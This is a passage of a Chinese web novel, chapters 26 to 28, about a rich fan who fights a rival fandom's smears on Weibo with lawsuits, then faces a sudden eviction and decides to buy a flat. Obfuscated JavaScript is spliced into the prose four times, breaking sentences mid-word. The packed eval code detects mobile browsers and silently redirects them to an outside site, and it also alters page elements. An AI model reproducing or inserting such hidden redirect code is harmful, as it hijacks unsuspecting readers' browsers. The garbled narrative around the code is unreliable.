“你有没有听过一句话？欲要其亡先令其狂，赵恒本来就已经挑中了聂嘉远，想用他转移视线打个翻身仗，这时候我们个人怎么解释其实都是被动的。” “那干脆就先不解释，”凌钰重新靠在了沙发后背上，“只有事实摆到面前，让他们完全无法反驳，回旋镖打中了自己的脸，那才能达到效果。你看那帮恒星，刚开始不还说我那个微博号也是工作室安排的吗？现在呢？” “现在？”孙致容愣了一下，搞不懂凌钰有什么可得意的。 “现在也没好话啊，虽然你不是工作室安排的了，可你变成了个装逼的穷粉丝，之前买杂志倾家荡产没钱了，这会死要面子活受罪，搞了个假抽奖，而且马上就要被警察抓起来去坐牢——你还笑！” 她没好气地道：“她们这会儿在那个词条下才是真的笑死了！” 凌钰抬手捏了她因为生气而涨红的脸：“放心，她们马上就笑不出来了。” 二十分钟刚到，微博后台的中奖信息就跳了出来，凌钰一一点进去核对了身份，确认无误后才转发抽奖博并配文：“以下图片为中奖名单，请各位抓紧时间私信中奖信息和地址给@国贸ME，谢谢！” 手机上的倒计时瞬间消失，银行卡随后到账。 而这一回，好像一帮人也都在卡点等着她似的，消息才刚出发去，下面的评论就变得更加热闹起来。 【还装！我的妈呀不尴尬吗？你看人家国贸的ME理你了吗？你要是真有钱为什么没去昨天的活动现场，还害得丑聂雇人在那“豪掷十万”哈哈哈！】 【为什么会有这么搞笑的事啊？难怪丑聂到现在一点反应都没有，这热一都挂了十几分钟了，我要是丑聂我也装死。有这种粉丝，他脸都要丢光了吧，买三百万杂志又有什么用？这次虚假抽奖，马上估计就要被官方点名变成反面教材。】 【路人吃了半天瓜终于知道了来龙去脉，可是那个平板上的内容，我们自己在网上是搜不到的啊，那个好像是ME的内部网站。而且她拍图的地方，旁边那个桌子和沙发，好像确实是门店的装修。】 【什么内部网站？什么门店装修？从哪儿找的网图P了个ME的标吧？】 【楼上的少装路人了，粉籍味都要溢出屏幕了！】 恒星们大举入侵，数据再次爆发式增长，很快有本来就看不惯赵恒的路人加入了战团。 【路人都不配说话了？赵恒的粉丝真的有病，管好你们自家的事吧！】 【就是，你们哥哥养嫂子的时候想到过你们吗，现在人家聂嘉远的事，你们到处出警还生出优越感来了。管人家有没有钱，人家再没钱也花三百万买了杂志，你们呢？牙膏都卖不掉！】 【暴力狂塌房男为什么还有这么多粉丝啊？这才叫粉随正主吧！】 事情越闹越大，三方吵得不可开交，正要开始新一轮的广场大战，国贸ME的官博却突然上线，转发了凌钰的那条微博并配上了图文。 【@国贸ME：感谢大家对ME产品的大力支持，本次中奖名单已经公布，请相关中奖人员私信本博中奖信息及地址，国贸ME门店将在所有商品到齐后尽快邮寄，谢谢！】 文案下方配了一张票据，正是这十件商品的购买凭证。 一石激起千层浪。 本来就对那帮指手画脚的恒星非常不满的家园们顿时乐开了花。 【求锤得锤，刚才说国贸ME不给回应的人呢？】 【现在再回头看看，究竟是谁搞笑？是那位暴力狂塌房男吗？以为踩了聂嘉远你就能青云直上，结果没想到自己惹了个硬茬，真的我才笑死。】 【虽然我自己一事无成，但我的同担非常牛逼。】 【虽然我没中奖，但跟中奖了一样开心，感谢赵恒送来的热一，就当免费帮我家氪金粉宣传了，谢谢赵恒！谢谢花香娱乐！聂嘉远如果有一天真的能成顶流，你们也算功不可没！】 当然也有恒星还在阴阳怪气。 【一千万用来抽奖，这种事值得炫耀吗？带坏内娱风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15038466|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气，完全是拿钱营销，有这个钱怎么没见你去帮助贫困地区儿童？】 【呵呵，就算这个抽奖是真的又怎么样？那个凌钰还不是个工作室找来的没钱货，穷逼就是穷逼，假的就是假的，有氪金粉也不代表那人就不是找来的演员。工作室到现在都没个动静，是怕了吗？】 她们还在没完没了，路人先看烦了。 【什么话都让赵恒粉丝说完了，我们还说什么？】 【你说的都是我的词儿啊！去年灾区捐款，赵恒活生生消失了，赵恒粉丝也没见捐啊，怎么就这么双标呢？严于律人宽以待己？】 【之前说人家P图，没钱，都有人告诉你们那是内部图了你们又不信，现在发现是真的就又说人家不把钱捐掉，你们怎么不把自己脑子捐掉啊？少对别人口袋里的钱指手画脚吧！】 更有人疑惑地问—— 【等等，你们看看国贸ME发的那个票据，虽然打了码，但那个VIP后面写的是不是凌？不会吧……我有一个大胆的想法……】 【救命，我以为就我一个人发现了。那就是个凌啊！凌钰的凌吧！如果这是真的，那赵恒粉丝这一天的究竟折腾了个啥？我的妈诶，还到处爆料谩骂说要抓人，到最后不会把自己给送进去吧？】 这边还在吵架，一直没动静的聂嘉远工作室忽然发了一条微博。 【@聂嘉远工作室：互联网并非法外之地，我司将坚决使用法律武器维护艺人合法权益！】 下面配了六张图，除了对今天挑起谣言的几个营销号的集中起诉，还包含了好几位赵恒的大粉。 接着，聂嘉远、聂嘉远官方后援会、ME官方微博和【我来追星了】同时转发。 众人终于反应过来。 【起诉了！甚至不是律师函而是直接起诉，赵恒的粉丝真的不作不死诶！】 【这是彻底撕破脸了啊，以前聂嘉远多多少少还会装一装，这回是直接打脸了。不过这次赵恒也的确过分，薅羊毛也不能这么薅，活生生盯着一个人，也不怕把聂嘉远给薅秃了。】 【赵恒本来是想通过聂嘉远的事转移话题的吧，没想到搬起石头砸了自己的脚，他的粉丝也害他，都已经这样了低调点不好，非要把人逼急了。这下好了，念叨了一晚上让别人进去，现在自己要进去了。】 接着，聂嘉远官方后援会又发了一条微博。 【@聂嘉远官方后援会：辟谣！ 昨天ME活动现场第一排的粉丝均由后援会管理组集中商议后拟定，其中@我来追星了虽然是新粉，但在短短一个月不到的时间内为超话和粉圈建设作出突出贡献，绝非所谓工作室聘请的“演员”！ 活动现场，互动环节人员挑选全部采用随机方式，不存在提前指定等违规行为。网络非法外之地，如再有造谣者，本会将采取法律手段积极维护粉丝声誉！@ME@国贸ME@我来追星了】 孙致容原本还是躺靠在沙发上，越看越精神，越看越有劲，到最后差点一蹦三尺高：“卧槽，姐妹难怪你这么冷静淡定，你们这一套连招太牛了，这不得把对方打个措手不及？” 凌钰哼笑一声，晃了晃手机：“我还有最后一招呢！” “什么？” 凌钰道：“花钱找了律师，准备告黑。” 26.第 26 章 娱乐圈的事由艺人团队处理，可她的事却还需要自己才能真正解决。 聂嘉远官方后援会发的这个辟谣公告，更多的是澄清，是警告，是对现场情况的解释和对自家粉丝的维护，而想要彻底压住舆论，唯有被造谣者本人态度同样强硬，才更有说服力。 工作室已经告黑，ME官方也已经表态，后援会同样发了话，可依然有人不消停地继续挑衅抹黑。既然如此，就让她这个当事人来给这致命一击好了。 【内娱吃瓜群众】在爆料时将原博打了码，但凌钰还是通过搜索关键词找到了对方的账号并截图留证。后来事情越闹越大，那人自己显然也没料到，吓得删了博文，可账号还在，这就好办了。 和凌钰料想中相同，虽然聂嘉远这边一套组合拳打得快狠准，但本就已经沸反盈天的网上不仅没有立刻平息，反而更加炸开了锅。 【官方后援会也发声了！恒星们骂了半天，结果凌钰和我来追星了是同一个人！这才是真的好尴尬啊，一会儿说人穷逼，一会儿说人装逼。凌钰：你们就说吧，我究竟有没有钱？】 【第一次看到这么大规模这么强势的反黑，本来还觉得聂嘉远怎么磨磨唧唧没反应呢。内娱就该这样，不要废话，直接告。】 【恒星们到处蹦跶，这下好啦，好几个大粉被告，开心了吧？】 赵恒的粉丝当然不开心，可也并没有就此服输，仍然在广场上不停发言。 【被告的里面那几个根本不是我家大粉好吗，反黑站都挂过好几次了。带了恒星带了赵恒的名字就是我家粉丝了吗？我说你们家园别太离谱！】 【丑聂的舔粉这就吹上了？她俩是一个人那问题不是更大了？首先她被公司辞退了钱从哪来的，其次她明明就是林业的粉丝，怎么可能会为聂嘉远花这么多钱？税务部门好好查查吧，她这钱来历正不正经。】 【有没有人发现华点？聂嘉远工作室告黑，告的是造谣凌钰是工作室安排的演员这件事，后援会发声，澄清的也是这件事。但凌钰有没有钱，钱从哪来，可没人澄清，@我来追星了，说你呢！】 【@我来追星了@我来追星了@我来追星了你怎么不告黑，是不喜欢吗？】 【不会有钱消费，没钱告黑吧？哈哈哈！】 有路人飘过，不咸不淡地说了句—— 【额，恒星又开始求锤了，你们猜，她们会不会又求锤得锤。】 像是要印证这句话一般，几个赵恒的粉丝正追着人家骂呢，之前只是单纯转发工作室消息的【我来追星了】突然上线，又发了条微博。 【@我来追星了：万万没想到素人也有告黑的一天，已经联系了律师提告，所有造谣的，传播的，恶意中伤的都有份。另外建议大家少管别人的钱包，但既然已经上了热搜，不澄清好像就跟默认了一样，那就一并解决。】 下方配图，是T市最出名的一家律师事务所的起诉声明。 声明很长，或者说是起诉的名单很长，除了大家已经比较眼熟，上了被告席的【内娱吃瓜群众】等几个带头营销号，这次的名单里还包括了营销号背后的公司，以及最初发博捏造事实的账号。 消息刚一发出，律所官博就立即转发证实。 凌钰其实并不知道最开始爆料的账号主人究竟是谁，但她也已经懒得再去想再去猜。是前公司的同事也好，不是也罢，反正无论是谁，不管这人初衷是什么，账号背后的主体逃不掉，法律总会给她最终的答案。 时间像是被按了暂停键。 这条微博刚一出发，原先还热度爆表的讨论度就像是一块被从天而降的巨石全力碾压，突然间自云霄落入谷底，就连相关的几条热搜也一下子消失了个无影无踪。 本来还有些疑虑的家园们在最初的迷茫后彻底明白过来，吃瓜路人们更是目瞪口呆。 【空降热搜，瞬间消失术，谁看了不说一句牛。】 【我现在是真的有点好奇赵恒了，他背后的资本得牛成什么样才能一下子造势又一下子压制？只可惜现在网友也不是傻子，这能力牛是牛，心思却是司马昭之心路人皆知了。】 【资本不傻，这叫及时止损，发现不对劲立马就不给对方任何热度，否则他们花的钱不就都便宜了别人，成了人家辟谣造势宣传的工具？】 【赵恒背后的资本牛，但我觉得聂嘉远这边的粉丝才是真的牛。】 【实话实说，聂嘉远原来在我这，也就是二三线的位置的，就算杂志卖得好，那毕竟也是一时的，可现在这动静这流量反倒让我疑惑了，内娱顶流的位置不会真的要换了吧？毕竟墨之染一心待在剧组，已经很久不露面了。】 【还真是，这段时间聂嘉远几次挑战顶流的位置，墨之染粉丝怎么一点反应都没有？】 【墨粉要有什么反应？记录本来就是用来破的，高处不胜寒，有对手才有动力。再说了谁还不知道我们墨粉，我们要求很低的，我们只要墨之染不退圈就好，什么顶流不顶流的，无所谓。】 凌钰眼看着先前霸榜的热搜瞬间消失，虽然她的几条微博下仍然有很多人留言，但最初在下面乱骂的赵恒粉丝却默默地开始删回复。 再去看原先骂的最厉害的几位已经成为被告的大粉，能看到她们的最新微博。 【如果饭圈骂战最后都要起诉获胜，某些人倒是真赢了，呵呵。】 【从头到尾我根本没说什么，现在居然把我也告上了法庭，我倒要看看最后是什么结果。一个被辞退的毫无背景的乡下铁公鸡突然就能拿出一千万，本来就值得怀疑，敢做不敢让人说，某些人的粉丝也就这点本事了。】 大约是知道了厉害，这几位虽然极力维护自身形象，却再也没敢点名道姓。 广场搜不到，却不代表没人吃瓜，即便她们已经足够谨慎，但毕竟是在公共平台发言，因此还是有不少人拿她们之前的言论和现在的嘴脸截图嘲笑。 【怎么突然滑跪了？我还是喜欢你们刚开始桀骜不羁的样子。】 事情到此就算告一段落，周哥先去地下车库取车，凌钰和孙致容拎着大包小包的东西被店长一路送出门，直到车已驶入高架，孙致容还在感慨。 “好像在做梦啊！一千万，在今天之前我是觉得我这辈子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15046129|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都不可能看到这么多钱的，本来买车花六十几万就已经够小众了，没想到后面还有更炸裂的，”她掐着自己的人中深呼吸，“我真的不是在做梦吧？” 凌钰靠坐在后座上，笑嘻嘻地道：“你掐人中不行，掐掐自己大腿看看疼不疼就知道了。” 孙致容当真对着自己大腿上的软肉狠狠一掐，又“嗷”一嗓子道：“好疼，看来真的不是在做梦——虽然我知道你是故意使坏让我掐的，但看在你让我见识到了一千万的份儿上，我愿意满足你的恶趣味哈哈哈！” 忙了一整天，终于到家已经快十一点。 凌钰简单冲了个澡，躺在床上时才终于有空好好看一看【识人】app的界面。 系统里小小的人物头像旁依旧标注聂嘉远的名字，不过下方的金额却已经有了翻天覆地的变化，从最初的一千变成了一千多万。这要是放在从前，其实凌钰也一样想都不敢想。 可现在一切都不同了。 她切实拥有了这些财富，虽然难免会有生命危险，但风险与获得成正比，只要能在关键时刻作出正确的选择，她不仅能扭转乾坤，也能让自己和身边的人过得更好。 而经过了几次任务，凌钰也逐渐发现了【识人】的一点规律。 譬如正常发布任务时，金额会相对较少，但附赠寿命会比较多，而临时发布任务时，则要看正主受到的攻击程度及相关话题的热度，影响越大金额就越多，但附赠寿命却只是意思一下，聊胜于无。 凌钰返回手机界面，看着银行上的千万余额，正准备开始每晚的睡前一拜，微博却突然跳出一条提醒。 因为之前每次都会漏看后援会的私信，她今天专门给对方设置了个特别提醒。 点开去看，果然是她们发来的消息。 “@聂嘉远官方后援会：姐妹，今天辛苦啦！之前每次问你有没有什么想要的，你都没说具体内容，刚刚工作室的意思，还是想让我来问一声。看到消息记得回复哦！[笑脸]” 最后这一句，明显是被她每次都延迟的回复给伤到了。 凌钰难得秒回道：“不辛苦。还是那句老话，我只要聂嘉远谨言慎行，遵纪守法，永不塌房！[笑脸]” 回完这条，她又觉得总这么传来传去也不是个办法，更何况，每晚对着老天拜又有什么用？躺在床上想了想，她干脆退出界面点开了聂嘉远本人的微博私信：“我只要你谨言慎行遵纪守法，永不塌房！求求了！” 那边也不知道是真的看到了还是自动回复，总之消息才刚发出去，对面就回道：“好。” 凌钰是带着安心的笑意进入的梦乡，而在T市的另一个角落，却有人辗转难眠。 “一千万！她哪来的一千万？你说这会没问题吗？我们辛辛苦苦一辈子能有一千万吗？一个乡下来的土包子，没钱没背景，连房子都是租的便宜货，突然就飞黄腾达了！” “再说，从头到尾我都只是猜测，大量造谣的又不是我，跟我有什么关系？我不过是合理怀疑，她居然就把我告上了法庭！” “不行，我得问问，她究竟是什么情况！” 27.第 27 章 声明发出，起诉事宜也立刻启动。 凌钰不用想也能猜得到，出于某些或担心或不服的心态，被告账号的主体们一定会有这样那样的反应。 只是眼下她所能做的都已经做了，不管是谁于她而言都一样，统统交给法律审判。具体的细节有律师事务所操心，她只需要在必要时出面即可，而但凡赵恒背后的公司不傻，都该知道再继续追着她这个点引流，并不是最佳选择。 一连几天，凌钰过得都非常安逸。 她的微博没有再发相关内容，律所官博虽然时不时更新消息，也有吃瓜网友截图转发讨论，但背后无人推动，就连那些看似只要流量的营销号都跟看不见似的，也就没有引发太大的热度。 更多的娱乐和社会新闻登顶，连续霸榜的聂嘉远和赵恒逐渐归于寂静。 《凤凰记》就这样在一片混乱中播到了尾声，这部剧早前根本没想到男主会突然拥有这么大的流量，女主也只是刚出道的新人，招商并不算好，结果临到最后却硬生生加了五六条插播广告，也算捡了个大漏。 趁着这难得的空闲，凌钰总算有时间在家酣畅淋漓地刷剧补综艺。 看得越多，她对聂嘉远也就越发了解。 这个人最初的演技其实也有些青涩，但随着时间推移，他的进步几乎是阶梯式向上。就像学霸在刷题，每错一题都能吸取教训总结经验，而在下一次，他就能完美避开错误，找到正确答案。 他未必是天生的演员，却一定是个认真的，敬业的好演员。 如果说刷剧能看到的是他的职业素养，那在综艺里，就又能了解到更多属于他本人的性格特质。 聂嘉远的长相轮廓分明，可以说是个非常标准的帅哥，又自带了一点“生人勿近”的气质，可在节目里他却没什么偶像包袱，和人交流时思维很活跃，懂得照顾人，甚至有时还会有点中二的幽默，从而触发一些奇怪的反差萌。 演技傍身，综艺效果也有，可以说未来可期，只要他该税的税，不该睡的不睡，谨言慎行遵纪守法不塌房，她就能开开心心又活一天！ 这段时间除了吃喝玩乐，凌钰每天还会抽空出门在楼下溜达一圈锻炼身体。 晚上先照旧跪在床上朝四面八方拜一拜，再雷打不动给聂嘉远的微博发一条“谨言慎行、遵纪守法，千万不要塌房”的私信，最后伴随着对方自动回复的“好”进入梦乡。 * 越到年末，天气越冷。 房间的空调已经开到最大，可还是有冷风到处乱蹿，凌钰看完最后一个综艺，终于忍不住抱着自己打了个哆嗦：“这是什么天啊！” 话音未落，微信里的“发家致富”就也发了条消息来：“妈呀！今年这是什么天啊！还好你给我们买了车，要不然老娘上班要被冻死在路上了，你知道外面什么气温吗？我出来看到地上全是冰！” “你下班了？”凌钰几乎是僵着手指回的消息。 孙致容大概也冻得不行，没再打字，很快发了条语音来：“好冷啊啊啊——” 又接着道：“我刚刚下班，在单位门口等周哥开车来接我回，今年冷得真过分啊！前几天我还觉得买车没必要，现在觉得必要，太必要了！还没到十二月呢就冷成这样，真是绝了。” “你在家咋样？我记得你租的那房子空调效果也一般，而且窗户还有点漏风，以前上班在公司还好，现在一整天都在家，冷不？” 凌钰叹了口气，看着墙角努力工作却毫无作用的空调：“冷，不瞒你说，我现在说话脸都是僵的。难怪都说人往高处走水往低处流，好日子过多了之后，我就不想再吃苦了。” 她下意识摸了摸被冻得冰凉的脸：“说真的，我想买套房子。” 对面的孙致容没有立刻回复，又过了一会儿才道：“刚上车，啊呀真暖和！” “谁不想买房子？我们现在租的这房子也不大行，太小，也老，比你住的那间还漏风。可买房子得要钱啊！早知道去ME花什么一千万，拿那一千万买房多好！” “我现在恨不得晚上直接在车里开着空调睡觉，虽然这是不现实的，不仅浪费油钱，还很容易被闷死。” 这话真是可怜又好笑，但却又非常现实。 凌钰默默站起身来，只觉得双脚冰凉，几乎连一点知觉都没了。 越冷，她脑中想要买房的念头越强烈，何况她现在租的这个房子也就快到期了，到时候与其再去找别人租房，还不如拥有一个自己的家。先前她那是钱不够，可现在嘛—— 凌钰摁着语音键回复道：“说真的，我真想买套房。” “我知道啊，”孙致容叹息一声，淡定道，“刚不说了嘛，我也真想买。” “不是啊，”凌钰顿了顿，“我的意思是说，咱去买套房吧。” “啥？？？？” “啥玩意？？？我眼花了？？？？” 这一回，淡定的孙致容彻底不淡定了，两条震撼的回复之后又发了一连串的问号，没等凌钰再回，微信电话已经打了进来，她不可置信的声音带着上扬的尾音：“什么意思？阿珍你又来真的？你真要去买房？！” “嗯，”凌钰在沙发里把自己缩成一团，“有这个想法，但我对T市的房价还不太了解，反正这两天先看看吧。” “蛙趣！你可真行！”对面感慨一声，又叹息，“买房这事我们暂时是不敢想了，不过可以陪你去看去选，而且你要是真买房我肯定支持，早年答应过你的，十万块补贴一直给你存着的，还债的时候都没动，不过再多也没有了。” “哪年的话了你还记着，”凌钰“嘿嘿”笑道，“不过这一回不用你的补贴，等周末休息的时候陪我去看房就好。” 挂了电话，凌钰生平第一次认认真真打开了T市的楼盘查看信息。 T市房价不低，尤其是市中心国贸周边的那些楼盘，不仅贵得离谱，更是一房难求，但如果往郊区去看，抛开各种学区房，两套小一点的房子她还是能买得起的。 孙致容和周哥毕竟还带着个老父亲，大家全住在一起也不太方便。 凌钰大概选了几个小区记在备忘录里，正准备打开微博看看有没有什么最新动态，微信就又跳出两条消息来。 “房东阿姨：凌小姐你好，不好意思打扰了，之前跟你说过你现在租的这套房子我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15056864|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们还有用，你应该还记得吧？明年我儿子要结婚了，我们想着年前就先搬到你那边，要把现在住的这套房子重新装修。” “房东阿姨：这样的话，可能还得麻烦你尽快搬家，最好月底就能搬，今年最后一个月的房租我们会全部退还给你，你看可以吗？” 凌钰愣愣地看完信息，反应了一会儿才一骨碌爬了起来。 什么时候？月底？ 她有些慌乱的同时，更多则是诧异。 房东之前的确跟她说过房子会有别的用途，却也说过，有情况至少会提前一两个月跟她商量，可现在这是什么情况？月底，现在就已经是11月月底了啊！ 凌钰有些无奈，她在这里租了好几年，房东平时其实人还不错，只要她交钱及时，双方基本没什么别的交集，对方既不会管东管西，也不会对她日常的生活习惯指手画脚。 可她却没料到搬家的事会这么突然。 犹豫片刻，她只能试探着回道：“阿姨您好，我想请问下能稍微再等两天吗？如果要搬家，我这边可能还得先找一下有没有别的房子可以租。” 对方回复的很快，却也很不留情面：“最迟就12月1号吧，再晚真的来不及了，而且这条我们之前合同上就已经写了的，年底可能会有急用，麻烦你克服一下困难，好吧？” 她说不好有用吗？ 默默地回了一个“好”字，凌钰重新打开了孙致容的微信：“我可能得立马买房了。” “怎么回事？”孙致容不解。 凌钰干脆打了个电话过去，大概讲了下自己面临的情况，又去看了一眼在售二手房，尤其是可以拎包入住的那种，重新挑了几个备选截图发过去：“我明天就先去看看这几户，要是行就先买了，反正到时候具体再看情况吧。” 孙致容明显有些憋气：“这什么人啊？要你搬家不早点说！还好你有钱能买房，不然这么冷的天让你搬哪儿去？” 还要再骂，她的声音忽然又带了些疑惑，却不是对着手机讲的：“你说什么？我看看！” 周哥的声音若影若现，很快就听到电话那头孙致容激情辱骂的声音：“艹！这人还敢使坏，凌钰你去微博看看，难怪你房东突然要把房子给收回去。周哥之前关注了爆料你的那个人，刚才她发博这边跳出提醒了！” 电话挂断，凌钰打开微博搜索。 果然看到最新一条，正是一分钟之前发出去的。 【有些人马上都要露宿街头了，还有空去折腾别人？大冬天的这么冷，可别在路上冻死了才好。】 这号自从被她起诉之后也算榜上有名了，片刻的工夫底下就已经很多评论。 【这是在说，那位凌小姐？】 【不至于吧，人家那么有钱，能露宿街头？】 【之前爆料不是就说她没钱，房子都是租的吗？那也太狠了，听说这两天T市冷得惊人，要是没地方住，不是真要冻死了？】 【究竟是谁狠啊？人家本来就是合理猜测，再说她的情况是事实，凭什么不能让人说？都是曾经的同事，为什么不直接私下跟人联系？自己把事情做绝了上了法庭，就别怪别人狠。】】 28.第 28 章 立刻有人发现了哗点。 【现在说是曾经的同事了，爆料给别人造成那么大影响的时候怎么没说是同事呢？做事留一线日后好相见啊朋友，一天到晚只从别人身上找原因可不行，上面某位的发言，不会也是前同事吧？】 【T市的这家公司这么排外吗？】 【别的不说，做事之前自己就该掂量掂量，出事了不反省，就会怪别人，我看某些人是要告，还得往死里告。】 也有人反驳。 【不了解情况的少说话好吗？人家之前说过的那些本来就都是真的，既然不是造谣，她告什么？告了她就是对的？那只是声明，又不是法院判了，谁输谁赢还不知道呢！】 这条微博评论的人不少，但对方毕竟没有再点名道姓，除了少数路人和知情者，更多也只是在粉圈内部传播。赵恒的粉丝们冷嘲热讽，家园们则忿忿不平。 【真的笑了，聂家大粉不会过了个冬天被爆料说冻死了吧？虽说新时代这种事不大可能，可在T市那地方如果真没房子住，那也是很惨的。】 【某人：娱乐新闻也算上过了，接下来是社会新闻。】 【不是我拿人命当笑料，实在是这位既然塑造有钱人设，又是个氪金粉，为啥不买房啊？听说T市房价不便宜，就算是在郊区一套房也得四五百万，她为什么不买，肯定不会是因为不喜欢吧？】 【爆料人的奇葩行为先不评价，某些星星的嘴脸真的让人无语。】 【就是，一句没头没尾的话就又嘲上了，何况还是个已经被告上法院的人发的，花了一千万还要被嘲穷，真是好小众。】 【我认为以后谁再想嘲，至少自己也得先花一千万才有这个资格。】 家园们吵架虽然不在行，但这种角度清奇的抱怨却是手到擒来，况且经过这段时间的几番掐架捶打，大家也渐渐锻炼出了一颗冷静而强大的内心，比起难以自控地骂战，她们似乎更适合这种风格。 伤害性不大，侮辱性极强。 至少好几个恒星看完都气得跳脚，忍不住在自己的微博上吐槽谩骂。 不过之前一连串的起诉声明到底给了对方压力，虽然那些发言仍旧恶意满满，却再没人敢点名道姓，就连首字母缩写都不敢用，通篇只用“某人”代替，攻击力大大减少，甚至还透出了一些略显怂包的滑稽。 凌钰看得不痛不痒，至于这位刚得到消息就忙不迭在微博爆料吐槽的，就更不值一提了。 都在T市生活，又是曾经的同事，只要知道她租住在什么地方，很容易就能查到房东是谁。尤其原公司里大多数还都是本地人，也许动用了一点金钱的手段，又也许原本就和这家房主沾亲带故，想对付她不让她继续租房其实并不算难。 只是对方大约怎么也没想到，现在的她哪怕不租房也是可以的了。 没再去管那群上蹿下跳的小丑，凌钰看了一眼微博热搜。 风平浪静，大约是前段时间过分热闹，不少人都下意识变得低调，生怕被波及，这些天一直都没再有什么特别轰动的娱乐新闻。 榜单上只有几个明星的正常剧宣，此外，#龙吟大结局#的话题也在最末尾的位置上下浮动，但话题讨论度非常一般，明明是赵恒主演的电视剧，却连他的名字都没有带。 《龙吟》和《凤凰记》同时段对打，最开始的播放量一直遥遥领先。 但播出越久，《凤凰记》的后劲越大，反倒是《龙吟》的数据逐渐缩水，也不知是因为赵恒中途口碑崩坏还是剧本身的问题，可以说扑得悄无声息。 而今天热度更大的则是社会动态，国家大事和国际形势各占一半，热一还跟凌钰也有些关系——#多地气温大跳水#。 天确实冷，不止是T市，全国很多地方都在断崖式降温，天气预报还说他们这边今后一段时间可能会有大暴雪。 买房的事顿时变得更加迫在眉睫。 夜幕降临，阴冷感变得更加强烈，风从窗户边缘钻进房间，是那种刺骨的寒。 凌钰原本是准备明天再跟房产中介联系，这时却越发觉得不能再等，当机立断加了对方微信，约好明天一早就去看房，这才稍稍定了心。 等吃完晚饭再次打开微博时，聂嘉远不知什么时候也上线了，正在超话翻牌。 这段时间他每天晚上都会在线一会儿，也不知道是拍戏太忙需要抽空调整心态，还是拍戏不忙纯闲的，反正大多数时候他都只是潜水，偶尔会和粉丝们互动个几条。凌钰负责旁观，从来不去参与。 翻牌这件事，她的确没参与过。 之前是因为作为粉丝，千万分之一的可能性实在太小，就算发博了也未必能蹲到回复，如今则是因为她这个号太过打眼，实在不宜再和聂嘉远有任何明面上的互动。 超话的界面变成了空降专属。 评论区几乎在刷屏，有人拍了正在做的试卷，有人在发《凤凰记》的剧照，但更多则是在分享自己的晚饭。火锅、串串香、烧烤、小炒、牛排、盖浇饭，可以说应有尽有，要不是凌钰刚刚已经吃过，恐怕得被饿到眼泪从嘴角流下来。 现在的聂嘉远成了眼泪从嘴角流下来的那位，正翻牌了其中一位道：“牛油火锅！我也想吃，饿了。” 没过一会儿，又翻牌了一位：“辣椒小炒肉，好吃。” 接着又翻：“麻辣小龙虾！” 看来今天是辣口的美食专场。 家园们也看出了规律，纷纷拿出看家本领，短短两分钟的工夫，就连不吃辣的南方人都晒出放了两粒小辣椒段的面条，凌钰更是硬生生把祖国从南到北的辣菜给看了个遍。 十条之后，聂嘉远虽然没下线，却也不再翻牌。 最近都是这样，粉丝也习惯了。 还有人继续发博试图让他看见，凌钰却果断返回后台，照例给他发了条私信：“谨言慎行、遵纪守法，永不塌房！求求了！” 对面很快回复道：“好。” 哪怕知道这只是设置的自动回复，凌钰还是觉得安心许多，放下手机跪在床上又朝四面八方乱拜一气，才钻回被子里，准备睡觉。 上次任务之后，系统附赠的寿命也差不多该用完了，刚好明天一早明顺巧克力还会官宣聂嘉远的新代言，如果能正好赶上，钱也刚好，她就可以直接买代言人礼盒，如果赶不上，那就到时候再看。 只是这系统发布任务的时间毕竟是预估，也说不准【识人】什么时候就会突然跳出提示。 凌钰心中忐忑，越到时间的临界点就越觉得不大安稳，熬夜是不敢熬了，眼看聂嘉远的微博下线，她又稍微刷了会儿新闻，便迷迷糊糊睡了过去。 空调还在努 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15061483|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力的运转，冷热在半空不断交替，虽然已经换了条新买的羽绒被，可凌钰还是被冻得浑身发寒，隐约间似乎有天光照进，可她整个人却置身在冰天雪地中，周围全是白茫茫的一片。 没有人，没有车，甚至没有声音。 只有刺骨的冷。 也对，她租的房子被收回了，而新房还没有买。雪天来临，她无处可去。 